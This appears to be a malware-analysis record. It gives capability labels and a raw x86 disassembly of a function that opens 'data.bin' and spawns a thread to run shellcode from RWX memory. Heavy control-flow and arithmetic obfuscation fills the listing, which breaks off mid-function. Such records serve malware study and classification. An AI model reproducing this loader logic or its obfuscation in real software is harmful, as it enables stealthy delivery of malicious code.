Function at 0x1000b840
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x50
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x4c], eax
sub esp, 0x1c
movaps xmm0, xmmword [section..rdata]
movups xmmword [esp + 4], xmm0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
mov dword [esp], str.data.bin
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x24], eax
mov dword [esp + 0x40], eax
mov ebx, 0x686c2015
jmp 0x1000b8a0
mov ebx, 0xfd77a416
nop word cs:[eax + eax]
cmp ebx, 0xfd77a415
jle 0x1000b900
cmp ebx, 0x49ddde6c
jg 0x1000ccd0
cmp ebx, 0x1de9c052
jg 0x1000dd0b
cmp ebx, 0x80204de
jg 0x1000f0b5
cmp ebx, 0xfd77a416
je 0x10011fc2
cmp ebx, 0x33af6d5
je 0x1001301a
cmp ebx, 0x3621ece
jne 0x1000b8a0
mov ebx, 0x214fb74b
jmp 0x1000b8a0
cmp ebx, 0xbc9df43c
jg 0x1000dc90
cmp ebx, 0x9fdd15a5
jg 0x1000efd4
cmp ebx, 0x9876fa2d
jg 0x1000f104
cmp ebx, 0x8e05818b
je 0x10013024
cmp ebx, 0x8efc2b94
je 0x10013bbb
cmp ebx, 0x9587ac96
jne 0x1000b8a0
mov eax, dword [0x10040908]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x6849400
mov edx, eax
and edx, 0xa00043e9
or edx, esi
xor edx, 0x6849400
mov esi, ecx
and esi, 0x597b2816
or edx, esi
xor esi, 0x597b2816
mov ebx, edx
xor ebx, 0x597b2816
and ebx, edx
or ebx, esi
mov esi, ebx
not esi
and ebx, 0x560d3b4b
mov edi, esi
and edi, 0xa9f2c4b4
or edi, ebx
mov ebx, edi
xor ebx, 0xa9f2c4b4
mov edx, edi
xor edx, 0xf0f8aa90
and edx, ebx
or esi, edx
and esi, 0x590a6e24
not edx
and edx, 0xa6f591db
or edx, esi
xor edi, 0x16043801
and edi, 0x3f547835
mov esi, ebx
and esi, 0xc0ab87ca
or esi, edi
xor esi, 0xc0ab87ca
or esi, ebx
not esi
or esi, edx
mov edx, esi
not edx
mov edi, edx
and edi, 0x77dea46a
and edx, esi
and esi, 0x88215b95
or esi, edi
xor esi, 0x88215b95
or esi, edx
mov edx, esi
not edx
mov edi, edx
and edi, 0x3cf730f3
and esi, 0xc308cf0c
or esi, edi
xor esi, 0x3cf730f3
xor edx, esi
and edx, esi
mov esi, eax
and esi, 0x12345a23
mov edi, ecx
and edi, 0xedcba5dc
or edi, esi
mov esi, edi
xor esi, 0x1400050
xor edi, 0x10200000
mov ebx, eax
or ebx, 0xb0a00184
or edi, 0x4818f000
and edi, 0xf8b8f184
and esi, 0x3440053
or esi, edi
and ebx, 0xf8b8f184
mov edi, ecx
and edi, 0x4030e28
or edi, ebx
xor edi, esi
mov esi, edi
xor esi, 0x4c1bfe28
xor edi, 0x91440106
mov ebx, esi
and ebx, 0x6ea872d1
and edi, 0x91578d2e
or edi, ebx
or esi, ecx
and ecx, 0x6ea872d1
and eax, 0x91578d2e
or eax, ecx
xor eax, edi
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, eax
mov dword [esp], eax
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x2c283700
mov eax, edx
and eax, 0xd3d7c8ff
or eax, ebx
mov ebp, esi
and ebp, 0xd22a0dd0
mov ebx, ecx
and ebx, 0x2dd5f22f
or ebx, ebp
mov ebp, eax
xor ebp, 0x12d50047
xor eax, 0x2c283700
mov ecx, eax
and ecx, 0xe122fab8
and ebp, 0x1edd0547
or ebp, ecx
mov ecx, ebx
xor ecx, 0xcd50007
xor ebx, 0xd22a0dd0
or eax, ebx
and ebx, 0xe122fab8
and ecx, 0x1edd0547
or ecx, ebx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, edi
and ecx, 0x997950e3
mov ebp, edx
and ebp, 0x6686af1c
or ebp, ecx
mov ebx, eax
not ebx
and esi, 0xcc5b9cb9
mov ecx, dword [esp]
and ecx, 0x33a46346
or ecx, esi
mov esi, ebp
xor esi, 0x44020408
xor ebp, 0x80510000
or edi, 0x80518810
or ebp, 0x2a00246
and ebp, 0x82f18a56
and esi, 0x4c0a14a9
or esi, ebp
and edi, 0x82f18a56
and edx, 0x31046100
or edx, edi
xor edx, ecx
xor edx, esi
mov esi, edx
not esi
mov ecx, ebx
xor ecx, esi
and ecx, ebx
and eax, 0x413e13c5
and ebx, 0xbec1ec3a
or ebx, eax
and esi, 0x413e13c5
and edx, 0xbec1ec3a
or edx, esi
xor edx, ebx
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xba40a15a
mov eax, edx
and eax, 0x45bf5ea5
or eax, ecx
mov esi, eax
xor esi, 0x20200
xor eax, 0xba40a15a
mov edi, ebx
and edi, edx
mov ecx, edi
not ecx
mov ebp, eax
and ebp, 0x14283d68
and esi, 0x28020212
or esi, ebp
or eax, ecx
and ecx, 0x14283d68
and edi, 0x28020212
or edi, ecx
xor edi, esi
not eax
or eax, edi
not eax
or eax, 0xc3d5c085
mov ecx, ebx
and ecx, 0x3c2a3f7a
mov esi, edx
and esi, 0xc3d5c085
or esi, ecx
mov edi, esi
xor edi, ebx
and edi, esi
mov esi, edi
not esi
xor edi, esi
and edi, eax
or eax, esi
not eax
xor edi, esi
or edi, eax
and esi, 0x80048001
mov eax, edi
xor eax, 0xc3d5c085
and eax, edi
and edi, 0x43d14084
or edi, esi
xor edi, 0x43d14084
or eax, edi
mov esi, eax
mov ebp, eax
mov dword [esp + 8], eax
not esi
mov dword [esp + 4], esi
mov ecx, esi
mov eax, esi
and eax, 0x22ca001
mov esi, ebp
and esi, 0x68c14808
or esi, eax
xor esi, 0x68c14808
mov edi, ebp
and edi, 0x951217f6
or edi, esi
and ecx, 0xb99443f8
mov eax, ebp
and eax, 0x466bbc07
or eax, ecx
mov esi, eax
xor esi, 0x466bbc07
xor eax, 0xb99443f8
and eax, edi
mov ecx, edi
not ecx
and esi, ecx
or eax, esi
xor ecx, eax
and ecx, eax
mov ebp, edx
or ebp, 0x6aede809
mov eax, ebp
and eax, 0x54f5377c
mov esi, ebx
and esi, 0x81020082
or esi, eax
mov eax, edx
xor eax, 0x951217f6
and eax, edx
mov edi, eax
not edi
or ebp, edi
and edi, 0x54f5377c
and eax, 0xab0ac883
or eax, edi
xor eax, esi
not ebp
or ebp, eax
mov esi, ebp
not esi
mov eax, esi
and eax, 0x25bc833f
and ebp, 0xda437cc0
or ebp, eax
and edx, 0x25bc833f
and ebx, 0xda437cc0
or ebx, edx
xor ebx, ebp
xor esi, ebx
and esi, ebx
mov eax, esi
not eax
mov dword [esp], eax
mov ebp, ecx
not ebp
and eax, ebp
mov edi, ecx
and edi, esi
or edi, eax
mov edx, edi
xor edx, ebp
and edx, edi
mov eax, ebp
and eax, 0x2b41014
mov ebx, ecx
and ebx, 0xa000000a
or ebx, eax
mov eax, dword [esp]
and eax, 0x20140018
mov edi, esi
and edi, 0x82a01006
or edi, eax
mov eax, ebx
xor eax, 2
xor ebx, 0x4c097e55
and ebx, 0xec097e5d
and eax, 0x2b40002
or eax, ebx
or ebp, 0xa000101c
and ebp, 0xec097e5d
and ecx, 0x114281a0
or ecx, ebp
xor ecx, eax
mov eax, edi
xor eax, 0x2000000
xor edi, 0x2c0d89b8
and edi, 0xacad99be
and eax, 0x2100000
or eax, edi
mov edi, dword [esp]
or edi, 0xa0a4101e
and edi, 0xacad99be
and esi, 0x51426641
or esi, edi
xor esi, eax
xor esi, ecx
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0xbaeb27c4
and eax, ecx
mov edi, edx
and edi, 0x4514d83b
or edi, eax
mov ebp, esi
not ebp
mov eax, ebp
and eax, 0xbaeb27c4
mov ebx, esi
xor ebx, 0xbaeb27c4
and ebx, esi
or ebx, eax
xor ebx, edi
mov eax, edx
and eax, 0x2e7b0459
and ecx, 0xd184fba6
or ecx, eax
or edx, esi
and esi, 0x2e7b0459
and ebp, 0xd184fba6
or ebp, esi
xor ebp, ecx
not edx
or edx, ebp
mov esi, ebx
not esi
mov eax, esi
and eax, 0xc0caf908
and ebx, 0x3f3506f7
or ebx, eax
xor ebx, edx
xor ebx, 0x3f3506f7
or esi, edx
not esi
or esi, ebx
mov edx, esi
not edx
mov eax, edx
and eax, 0xc584093
mov ebp, esi
and ebp, 0x80808820
or ebp, eax
mov eax, ebp
xor eax, 0x80008000
xor ebp, 0x7f7f77df
mov ecx, ebp
and ecx, 0x72d87e7c
and eax, 0x8c008083
or eax, ecx
mov ecx, esi
xor ecx, 0x8cd8c8b3
and ecx, esi
mov edi, ecx
not edi
or ebp, edi
and edi, 0x72d87e7c
and ecx, 0x8d278183
or ecx, edi
xor ecx, eax
not ebp
or ebp, ecx
mov eax, ebp
xor eax, 0x7327374c
xor ebp, 0xeae901b
and ebp, eax
and esi, 0xf83a201a
mov eax, edx
and eax, 0x7c5dfe5
or eax, esi
xor eax, 0x7a4c78b2
and edx, 0x827658a8
or edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x4b68f08c
xor edx, 0x60dfda8d
and edx, eax
and eax, 0xb4970f73
or eax, ecx
mov ecx, eax
xor ecx, 0xb4970f73
mov esi, ebp
xor eax, 0xd448d5fe
and eax, ecx
or edx, eax
mov ebx, ebp
xor ebx, 0x9f202572
and ebx, ebp
not ebp
or esi, 0x60dfda8d
mov eax, esi
and eax, 0xf9641092
or ecx, ebp
mov dword [esp], ecx
and ebp, 0x6002560
or ebp, eax
mov eax, ebx
not eax
or esi, eax
and eax, 0xf9641092
and ebx, 0x69bef6d
or ebx, eax
xor ebx, ebp
mov edi, dword [esp + 4]
mov ecx, edi
and ecx, 0xbb5a8acf
mov ebp, dword [esp + 8]
mov eax, ebp
and ebp, 0x44a57530
or ebp, ecx
not ebp
or ebp, edi
mov ecx, edi
mov edi, ebp
not esi
or esi, ebx
xor esi, edx
mov ebx, esi
not ebx
mov edx, ebx
and edx, 0xf4b5e8f5
and esi, 0xb4a170a
or esi, edx
mov edx, dword [esp]
xor esi, edx
xor esi, 0xb4a170a
or ebx, edx
not ebx
or ebx, esi
mov dword [esp], ebx
and ecx, 0x57c6ba27
and eax, 0xa83945d8
or eax, ecx
mov ecx, eax
xor ecx, 0xa0190150
xor eax, 0x140a004
and eax, 0x960e48c
and ecx, 0xf69f1b73
or ecx, eax
mov edx, ecx
xor edx, 0x960e48c
xor ecx, 0xf69f1b73
mov dword [esp + 4], ecx
mov eax, ecx
and eax, 0xc4779872
mov ecx, edx
and ecx, 0x3b88678d
or ecx, eax
mov eax, ecx
xor eax, 0x3b88678d
xor ecx, 0x80040060
and ecx, 0x8b8445e4
mov esi, eax
and esi, 0x747bba1b
or esi, ecx
xor esi, 0xcf2130d4
and eax, 0x44a57530
or eax, esi
mov esi, eax
not esi
mov ecx, eax
xor ecx, 0xb7384653
and ecx, eax
mov ebp, esi
and ebp, 0xb7384653
or ebp, ecx
mov ecx, edi
not ecx
mov ebx, edi
and ebx, 0x48c7b9ac
mov dword [esp + 8], ebx
mov ebx, edi
xor ebx, 0xb7384653
and ebx, ecx
or ebx, dword [esp + 8]
xor ebx, ebp
mov ebp, esi
and ebp, 0x163b2a07
and eax, 0xe9c4d5f8
or eax, ebp
or esi, ecx
and ecx, 0x163b2a07
and edi, 0xe9c4d5f8
or edi, ecx
xor edi, eax
not esi
or esi, edi
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0xe72baf24
and ebx, 0x18d450db
or ebx, eax
mov eax, esi
not eax
or ecx, esi
and esi, 0xe72baf24
and eax, 0x18d450db
or eax, esi
xor eax, ebx
not ecx
or ecx, eax
mov esi, ecx
xor esi, 0xbb5a8ace
mov edi, dword [esp + 4]
and edi, 0x617d521b
mov eax, edx
and eax, 0x9e82ade4
or eax, edi
mov edi, eax
xor edi, 0x9e82ade4
mov ebx, eax
xor ebx, 0xb4596330
and ebx, edi
and edx, 0x2adbced4
or edx, ebx
xor eax, 0x21751018
and eax, 0x2b75901c
mov ebx, edi
and ebx, 0xd48a6fe3
or ebx, eax
mov eax, edx
xor eax, 0x2adbced5
xor ebx, 0x2b75901d
and edi, 1
or edi, ebx
xor edx, 0xd524312a
mov ebx, edx
and ebx, 0xb4f136e4
and eax, 0x4b0ec91b
or eax, ebx
mov ebx, edi
not ebx
or edx, edi
and edi, 0xb4f136e4
and ebx, 0x4b0ec91b
or ebx, edi
xor ebx, eax
not edx
or edx, ebx
mov eax, edx
not eax
and edx, 0x571be8e4
and eax, 0xa8e4171b
or eax, edx
mov edx, eax
xor edx, 0xa8400112
xor eax, 0x1108c0c0
and eax, 0x11acd6c9
and edx, 0xee532936
or edx, eax
mov ebx, edx
xor ebx, 0x11acd6c9
mov edi, ecx
xor edi, 0x44a57531
xor ecx, 0xfefa0b78
mov eax, ecx
and eax, edi
and ecx, esi
or ecx, eax
mov ebp, edx
xor ebp, 0xabf3a880
and ebp, ebx
mov esi, ebp
not esi
mov eax, esi
and eax, 0x7c92b59c
and ebp, 0x836d4a63
or ebp, eax
or edi, ebx
or ebx, 0x45a081b6
xor edx, 0x82410800
or esi, ebx
and ebx, 0x7c92b59c
and edx, 0x824d4a41
or edx, ebx
xor edx, ebp
not esi
or esi, edx
xor esi, ecx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xa8e42350
and esi, 0x571bdcaf
or esi, eax
xor esi, edi
xor esi, 0x571bdcaf
or ecx, edi
not ecx
or ecx, esi
mov esi, ecx
not esi
mov eax, esi
and eax, 0x1649899c
mov edx, ecx
and edx, 0x68a00442
or edx, eax
xor edx, 0x68a00442
mov eax, esi
and eax, ecx
or eax, edx
not eax
or eax, 0x81167221
mov ebx, eax
not ebx
mov edx, esi
and edx, 0x7ee98dde
and ecx, 0x81167221
or ecx, edx
xor esi, ecx
and esi, ecx
and eax, 0x7edfe581
mov edx, ebx
and edx, 0x20085e
or edx, eax
mov ebp, edx
xor ebp, 0x81201a7e
mov edi, esi
not edi
mov eax, edx
xor eax, 0xf8c9343d
and eax, ebp
and ebx, 0x78e90c42
or ebx, eax
mov ecx, edi
and ecx, 0x8616d1bc
mov eax, esi
and eax, 0x79e92e43
or eax, ecx
xor eax, ebx
xor edx, 0x7edfe581
mov ecx, edx
and ecx, 0x5a0801de
and ebp, 0xa5f1ec21
or ebp, ecx
mov ecx, dword [esp]
xor ecx, 0xe89bb0a0
or edx, esi
and esi, 0x5a0e13de
and edi, 0xa5f1ec21
or edi, esi
xor edi, ebp
not edx
or edx, edi
not edx
or edx, eax
mov esi, edx
xor esi, 0x81167221
xor edx, 0x7ee98dde
mov eax, edx
and eax, 0xca24479a
mov edi, esi
and edi, 0x35dbb865
or edi, eax
mov eax, edi
xor eax, 0x24c81000
or edx, 0x1022021
or edi, 0x8024c00c
and edi, 0x8126e02d
and eax, 0x64c81180
or eax, edi
and edx, 0x8126e02d
and esi, 0x1a110e52
or esi, edx
xor esi, eax
mov edx, esi
xor edx, 0x9a35ce5e
xor esi, 0x65ca31a1
mov edi, esi
and edi, 0x21012b48
mov eax, edx
and eax, 0x10244414
or eax, edi
mov edi, eax
xor edi, 0x2f111923
or esi, 0x31254d14
and edi, 0x3f355d37
and eax, 0x2248
or eax, edi
and esi, 0x3f355d37
and edx, 0xc0ca8080
or edx, esi
xor edx, eax
mov esi, edx
xor esi, 0x1250304
xor edx, 0x481200a1
and edx, 0x78126cf9
and esi, 0x87ed9306
or esi, edx
mov eax, esi
xor eax, 0x70102c50
xor esi, 0x76c1206
and eax, 0xf091ad50
and esi, 0xf6e52af
or esi, eax
mov edx, esi
xor edx, 0x6080a010
xor esi, 0xf6e52af
mov eax, esi
and eax, 0x995d0fcf
and edx, 0x66a2f030
or edx, eax
xor edx, 0x66a2f030
or edx, esi
mov ebx, edx
not ebx
mov esi, edx
and esi, 0xc62529b9
mov eax, ebx
and eax, 0x39dad646
or eax, esi
mov edi, dword [esp]
xor edi, 0x17644f5f
mov esi, edi
and esi, 0x3436e9e
mov ebp, ecx
and ebp, 0xfcbc9161
or ebp, esi
mov esi, eax
xor esi, 0x38989040
xor eax, 0x2012898
and eax, 0x3436e9e
and esi, 0xfcbc9161
or esi, eax
xor esi, ebp
mov eax, edx
xor edx, 0x1d3ea1d6
and edx, ebx
not esi
or esi, edi
mov ebp, dword [esp]
xor ebp, 0xa5aee89
and ebp, ecx
or ecx, 0x1d3ea1d6
and eax, 0x14c08
and ebx, 0xe2c01221
or ebx, eax
mov eax, ecx
and eax, 0xfbe985d5
and edi, 0x5a28
or edi, eax
mov eax, ebp
not eax
or ecx, eax
and eax, 0xfbe985d5
and ebp, 0x4167a2a
or ebp, eax
mov eax, ebx
xor eax, 0xe0c01220
xor ebx, 0x1d3fedde
xor ebp, edi
not ecx
or ecx, ebp
mov edi, edx
not edi
mov ebp, ebx
and ebp, 0xa1b4419
and eax, 0xe0c01a20
or eax, ebp
or ebx, edi
and edi, 0xa1b4419
and edx, 0xf5e4bbe6
or edx, edi
xor edx, eax
not ebx
or ebx, edx
mov eax, ebx
xor eax, ebx
not eax
and eax, ecx
xor eax, ebx
mov ecx, eax
not ecx
xor eax, ecx
and eax, esi
or esi, ecx
not esi
xor eax, ecx
or eax, esi
mov edx, eax
not edx
mov esi, eax
or esi, 0xe4941042
mov ecx, eax
xor ecx, 0x1b0aadac
and ecx, eax
mov edi, eax
mov ebx, edx
and ebx, eax
mov ebp, edx
and ebp, 0x9599d176
and eax, 0x6a662e89
or eax, ebp
mov ebp, ecx
not ebp
and esi, 0xff943c46
xor eax, 0x6a662e89
or eax, ebx
not eax
or eax, edx
and edx, 0xa81a8
or edx, esi
or edi, ebp
and ebp, 0xff943c46
and ecx, 0x6bc3b9
or ecx, ebp
xor ecx, edx
not edi
or edi, ecx
not ecx
and ecx, 0xe4f55253
and edi, 0x1b0aadac
or edi, ecx
mov edx, edi
not edx
and edi, 0xfdb98d5a
and edx, 0x24672a5
or edx, edi
mov ecx, edx
xor ecx, 0x5da08002
xor edx, 0x24040a1
and edx, 0xa2594df9
and ecx, 0x5da6b206
or ecx, edx
mov edx, ecx
xor edx, 0x5da6b206
mov esi, ecx
xor esi, 0x201941f9
and esi, 0x241bd3f9
xor ecx, 0x9331aa57
and ecx, edx
and edx, 0xdbe42c06
or edx, esi
mov esi, edx
xor esi, 0xdbe42c06
xor edx, 0x40083a0
and edx, 0xc70087a4
mov edi, esi
and edi, 0x38ff785b
or edi, edx
xor edi, 0x38ff785b
or edi, esi
and esi, 0xce971851
or ecx, esi
mov edx, ecx
xor edx, 0x84110040
xor ecx, 0x3168e7ae
mov esi, ecx
and esi, 0x6beebd1b
and edx, 0x941142e4
or edx, esi
xor edx, edi
xor edx, 0x941142e4
or ecx, edi
not ecx
or ecx, edx
mov edx, ecx
mov esi, ecx
xor esi, 0x2e8e95a4
and esi, ecx
not ecx
or edx, 0xd1716a5b
mov edi, esi
not edi
mov ebx, edx
and ebx, 0x2629142d
and ecx, 0x8868180
or ecx, ebx
or edx, edi
and edi, 0x2629142d
and esi, 0xd9d6ebd2
or esi, edi
xor esi, ecx
not edx
or edx, esi
mov ecx, edx
xor ecx, 0xd1716a5b
xor edx, 0x2e8e95a4
mov esi, ecx
or esi, 0xd0280380
mov edi, edx
or edi, 0x4923471
and esi, 0xd4ba37f1
and edx, 0xa00400c
or edx, esi
and edi, 0xd4ba37f1
and ecx, 0x21458802
or ecx, edi
xor ecx, edx
mov edi, ecx
xor edi, 0x81690080
xor ecx, 0x2800405
and ecx, 0x72848f07
and edi, 0x8d7b70f8
or edi, ecx
mov esi, edi
xor esi, 0x8d7b70f8
xor edi, 0x20048700
mov edx, eax
not edx
mov ecx, esi
and ecx, 0xd6b17887
and edi, 0x294e8778
or edi, ecx
mov ecx, edx
and ecx, 0xd6b17887
mov ebx, eax
and ebx, 0x294e8778
or ebx, ecx
xor ebx, edi
mov ecx, ebx
xor ecx, esi
and ecx, ebx
mov edi, eax
xor edi, esi
and edi, edx
and eax, 0x342f9b06
and edx, 0xcbd064f9
or edx, eax
xor edx, 0x342f9b06
or edx, esi
mov esi, edi
not esi
mov eax, esi
and eax, 0x63b70837
and edi, 0x9c48f7c8
or edi, eax
xor edi, edx
xor edi, 0x9c48f7c8
or esi, edx
not esi
or esi, edi
mov dword [esp], ecx
mov edi, ecx
not edi
mov ebp, esi
not ebp
mov edx, edi
and edx, 0xbb40966a
mov ebx, ecx
xor ebx, 0xbb40966a
and ebx, ecx
or ebx, edx
mov edx, esi
or edx, 0x44820115
and edx, 0xcdc29735
mov ecx, ebp
and ecx, 0x3200004a
or ecx, edx
mov edx, ebp
or edx, 0x89409620
and edx, 0xcdc29735
mov eax, esi
and eax, 0x3d6880
or eax, edx
xor eax, ecx
mov edx, eax
xor edx, eax
not edx
and edx, ebx
xor edx, eax
mov ecx, dword [esp]
mov eax, ecx
and eax, 0x7145d7cf
and edi, 0x8eba2830
or edi, eax
or ecx, esi
and esi, 0x7145d7cf
and ebp, 0x8eba2830
or ebp, esi
xor ebp, edi
not ecx
or ecx, ebp
mov esi, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xe5e77bb4
and edx, 0x1a18844b
or edx, ecx
xor edx, esi
xor edx, 0x1a18844b
or eax, esi
not eax
or eax, edx
mov ecx, eax
mov esi, eax
xor esi, 0x45cab217
and esi, eax
mov edx, eax
not edx
mov edi, edx
and edi, 0x7f89f0c
and ecx, 0xf80760f3
or ecx, edi
mov edi, ecx
xor edi, 0xf80760f3
xor ecx, 0x42322d1b
and ecx, edi
or esi, ecx
mov ecx, esi
xor ecx, 0x45cab217
xor esi, 0xba354de8
mov ebx, esi
and ebx, 0x4b64f8c4
mov edi, ecx
and edi, 0xb49b073b
or edi, ebx
mov ebx, edi
xor ebx, 0x1a0010
xor edi, 0x40001040
or edi, 0x1245a480
and edi, 0x76c5b7c2
and ebx, 0x81a0814
or ebx, edi
mov ebp, eax
xor ebp, 0xbe3d6654
and ebp, eax
mov edi, eax
or esi, 0x64801342
and esi, 0x76c5b7c2
and ecx, 0x81204029
or ecx, esi
xor ecx, ebx
mov esi, ecx
xor esi, 0x9365e4a9
or edi, 0x41c299ab
mov eax, edi
and eax, 0x5bbefa98
and edx, 0xa4010444
or edx, eax
mov eax, ebp
not eax
or edi, eax
and eax, 0x5bbefa98
and ebp, 0xa4410567
or ebp, eax
xor ebp, edx
not edi
or edi, ebp
mov eax, edi
xor eax, 0x41c20102
xor edi, 0xbe3d6654
mov edx, esi
xor edx, edi
and edx, esi
xor ecx, 0x4081844
and ecx, 0x62cdced
and esi, 0xf9d32312
or esi, ecx
and edi, 0x62cdced
and eax, 0xf9d32312
or eax, edi
xor eax, esi
mov ecx, edx
not ecx
mov esi, eax
not esi
mov edi, ecx
and edi, 0x757d32a2
and edx, 0x8a82cd5d
or edx, edi
or ecx, esi
and esi, 0x757d32a2
and eax, 0x8a82cd5d
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x6e8177af
and eax, 0x917e8850
or eax, edx
xor eax, 0x917e8850
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x1004090c], 0xa
setge cl
mov byte [esp], cl
mov ah, cl
inc ah
mov dl, ah
mov byte [esp + 4], ah
and dl, cl
mov ch, dl
xor ch, 1
or ch, cl
xor ch, 1
or ch, ah
mov cl, ch
xor cl, 1
mov dh, cl
and dh, ch
xor dh, 1
or dh, cl
xor dh, 1
or dh, ch
mov ebx, eax
mov ah, al
or ch, dl
mov byte [esp + 0xc], ch
xor ch, 1
and ch, al
inc al
mov byte [esp + 0x10], al
and bl, al
xor bl, 1
mov cl, bl
or cl, al
xor cl, 1
mov byte [esp + 8], cl
or ah, cl
mov cl, ah
xor cl, 1
and cl, ah
xor cl, 1
mov bh, ah
xor bh, cl
or cl, ah
xor cl, 1
or cl, bh
mov eax, ecx
xor al, 1
mov bh, al
and bh, cl
xor bh, 1
or bh, cl
xor bh, 1
or bh, al
mov cl, dh
xor cl, 1
mov al, dh
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, dh
xor al, 1
or al, dh
xor al, 1
mov dh, al
xor dh, cl
xor dh, 1
or al, cl
and cl, dh
xor cl, 1
or cl, dh
xor cl, 1
or cl, al
mov dl, bh
xor dl, 1
mov dh, dl
and dh, bh
mov ah, dh
xor ah, 1
mov al, dh
and al, ah
xor al, 1
or al, ah
xor al, 1
or al, dh
mov ah, al
xor ah, 1
and ah, dl
xor dh, dl
and al, bh
or dh, bh
xor dh, 1
or dh, al
or dh, ah
mov al, dh
xor al, 1
mov dl, al
and dl, dh
mov ah, dl
xor ah, 1
or ah, al
xor ah, 1
or dh, ah
xor dh, dl
or dh, ah
mov bh, dh
xor bh, 1
and bh, dh
xor bh, 1
mov al, dh
xor al, bh
or bh, dh
xor bh, 1
or bh, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
xor cl, al
mov dh, dl
and dh, al
xor dh, 1
mov ah, dh
xor ah, al
or dh, al
xor dh, 1
or dh, ah
xor dh, cl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
xor dh, 1
mov al, dh
xor al, cl
or dh, cl
xor dh, 1
or dh, al
mov al, bh
xor al, 1
mov dl, bh
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, bh
mov al, dh
xor al, 1
mov ah, al
and ah, dh
xor ah, 1
mov cl, dh
xor cl, ah
or ah, dh
xor ah, 1
or ah, cl
xor ah, 1
mov cl, dl
xor cl, 1
or ah, cl
and cl, dl
xor cl, 1
mov bh, dl
xor bh, cl
or cl, dl
xor cl, 1
or cl, bh
xor cl, dh
or cl, al
mov al, cl
xor al, 1
and al, ah
xor ah, 1
mov dl, ah
xor dl, cl
and dl, ah
and cl, ah
or cl, al
mov eax, edx
xor al, 1
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
movzx edx, byte [esp + 0xc]
mov eax, edx
mov ah, byte [esp + 0x10]
xor al, ah
and al, dl
and dl, ah
mov dh, ah
or dl, ch
or dl, al
mov eax, edx
xor al, 1
mov ch, al
and ch, dl
xor al, ch
xor ch, 1
or ch, dl
xor ch, 1
or ch, al
mov ah, ch
xor ah, 1
xor bl, dh
or bl, byte [esp + 8]
mov al, byte [esp]
and al, bl
xor bl, 1
and bl, byte [esp + 4]
or bl, al
mov al, bl
xor al, 1
mov dl, ch
and dl, bl
and bl, al
xor bl, 1
mov dh, bl
xor dh, al
or bl, al
and al, ah
or dl, al
mov bh, dl
xor bh, ah
and bh, dl
xor bl, 1
or bl, dh
and ah, bl
xor bl, 1
and bl, ch
or bl, ah
mov dl, bh
xor dl, 1
mov eax, ebx
xor al, 1
and bl, dl
or dl, al
xor dl, 1
and al, bh
or al, bl
or al, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
mov ah, dl
and ah, al
xor ah, 1
or ah, al
xor ah, 1
or ah, dl
mov al, ah
xor al, 1
mov edx, eax
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ah, al
and ah, dl
xor ah, 1
or ah, al
xor ah, 1
or ah, dl
mov al, ah
xor al, 1
mov edx, eax
and dl, ah
xor al, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov byte [esp + 4], al
mov dh, cl
xor dh, 1
mov ebx, edx
and bl, al
xor bl, 1
or bl, dl
xor bl, 1
or bl, al
mov ch, cl
mov ah, cl
mov byte [esp + 0x18], cl
and ch, dh
xor ch, 1
mov cl, dh
xor cl, ch
mov al, dh
or al, ch
xor al, 1
mov byte [esp], al
or cl, al
mov dl, cl
xor dl, dh
or cl, dh
xor cl, 1
or cl, dl
mov bh, cl
xor bh, 1
or ch, ah
xor ch, 1
or ch, dh
mov dh, bl
xor dh, 1
mov al, dh
and al, bl
mov ah, dh
xor ah, al
xor al, 1
or al, bl
mov bl, ch
xor bl, 1
xor al, 1
or al, ah
mov byte [esp + 8], al
and ch, bh
xor bh, bl
and bh, bl
mov ah, cl
or ah, bl
xor bh, 1
mov dl, bh
xor dl, ah
or bh, ah
xor bh, 1
or bh, dl
mov ah, cl
xor ah, bl
and ah, cl
and bl, cl
or bl, ch
xor ah, 1
xor bl, 1
mov ch, ah
xor ch, bl
or bl, ah
xor al, 1
or dh, al
mov cl, al
xor bl, 1
or bl, ch
xor bl, bh
and bh, bl
xor bh, 1
mov ah, bh
xor ah, bl
or bh, bl
mov bl, dh
xor bl, 1
xor bh, 1
or bh, ah
mov ch, dh
movzx eax, byte [esp + 4]
or ch, al
xor dh, al
or al, bl
and dh, bl
xor al, 1
or dh, al
xor dh, 1
mov ah, ch
xor ah, dh
or dh, ch
xor dh, 1
or dh, ah
mov bl, dh
xor bl, 1
mov ah, bl
or ah, bh
and bl, bh
xor bh, 1
and dh, bh
or bl, dh
mov ch, ah
xor ch, 1
xor bh, bl
and bh, bl
and ah, ch
xor ah, 1
mov dh, ch
xor dh, ah
or ah, ch
xor ah, 1
or ah, dh
xor ah, bh
mov dh, ch
xor dh, bh
or bh, ch
xor bh, 1
or bh, dh
mov ch, ah
xor ch, bh
or bh, ah
xor bh, 1
or bh, ch
movzx eax, byte [esp]
or al, byte [esp + 0x18]
mov ah, al
xor ah, 1
mov dh, cl
mov ch, cl
mov bl, byte [esp + 8]
